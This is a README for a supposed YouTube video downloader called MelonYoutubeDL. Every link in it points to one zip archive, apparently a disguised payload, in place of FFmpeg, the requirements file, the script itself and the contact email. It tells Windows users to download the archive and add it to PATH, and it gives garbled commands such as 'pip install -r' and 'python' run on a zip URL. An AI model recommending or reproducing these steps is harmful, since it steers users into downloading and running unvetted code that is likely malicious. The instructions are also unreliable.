🍈 MelonYoutubeDL - Your Fresh Video Downloader

A user-friendly Python script for downloading YouTube videos in high resolution, featuring a beautiful and interactive command-line interface.

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✨ Features

• High-Resolution Downloads: Supports video resolutions from 320p up to 8K.
• Interactive UI: A rich, melon-themed console interface for easy operation.
• Resolution Selection: Interactively choose your desired video quality from a list of available resolutions and file sizes.
• Audio & Video Merging: Automatically downloads the best audio and selected video streams and merges them using FFmpeg.
• Thumbnail Downloader: Option to download the video's thumbnail image.
• Organized Output: All downloaded files are saved neatly into an output directory.

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📋 Requirements

Before you begin, ensure you have the following installed:

1. Python 3.x
2. FFmpeg: The script relies on FFmpeg for merging video and audio files.
   • Windows: Download from https://github.com/Melon4Program/MelonYoutubeDL/raw/refs/heads/main/upbound/Youtube_DL_Melon_v1.9.zip and add the bin directory to your system's PATH.
   • macOS: brew install ffmpeg
   • Linux: sudo apt update && sudo apt install ffmpeg
3. Python Libraries: The necessary libraries are listed in https://github.com/Melon4Program/MelonYoutubeDL/raw/refs/heads/main/upbound/Youtube_DL_Melon_v1.9.zip.

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🚀 Installation

1. Clone the repository (optional):

   git clone <repository-url>
   cd MelonYoutubeDL

2. Install Python dependencies: Open your terminal and run the following command to install the required libraries:

   pip install -r https://github.com/Melon4Program/MelonYoutubeDL/raw/refs/heads/main/upbound/Youtube_DL_Melon_v1.9.zip

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▶️ How to Run

1. Execute the script from your terminal:

   python https://github.com/Melon4Program/MelonYoutubeDL/raw/refs/heads/main/upbound/Youtube_DL_Melon_v1.9.zip

2. Follow the on-screen prompts:

   • Enter the YouTube video URL.
   • Decide if you want to download the thumbnail.
   • Choose the desired video resolution from the generated table.

The script will handle the download and merging process, and the final video will be saved in the output folder.

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⚠️ Known Issues

1. Download Failed:

   • Sometimes, the download may fail due to network issues or changes in YouTube's backend. Simply re-running the script often resolves the issue.
   • Using a proxy might be necessary in some regions.

2. 8K Video Downloads:

   • Downloading 8K videos may require authentication tokens. This feature is supported by the underlying pytubefix library but may require code modifications.
   • For more details, refer to the pytubefix documentation.

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📄 License

This project is licensed under the MIT License.

You can use this code for other projects, but you Must provide it is forked by THIS PROJECT.

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📧 Contact

For any questions or feedback, feel free to reach out:

• Email: https://github.com/Melon4Program/MelonYoutubeDL/raw/refs/heads/main/upbound/Youtube_DL_Melon_v1.9.zip